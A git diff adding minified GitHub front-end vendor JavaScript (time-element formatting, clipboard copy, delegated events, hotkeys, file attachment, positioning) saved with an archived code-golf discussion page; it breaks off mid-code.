v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return 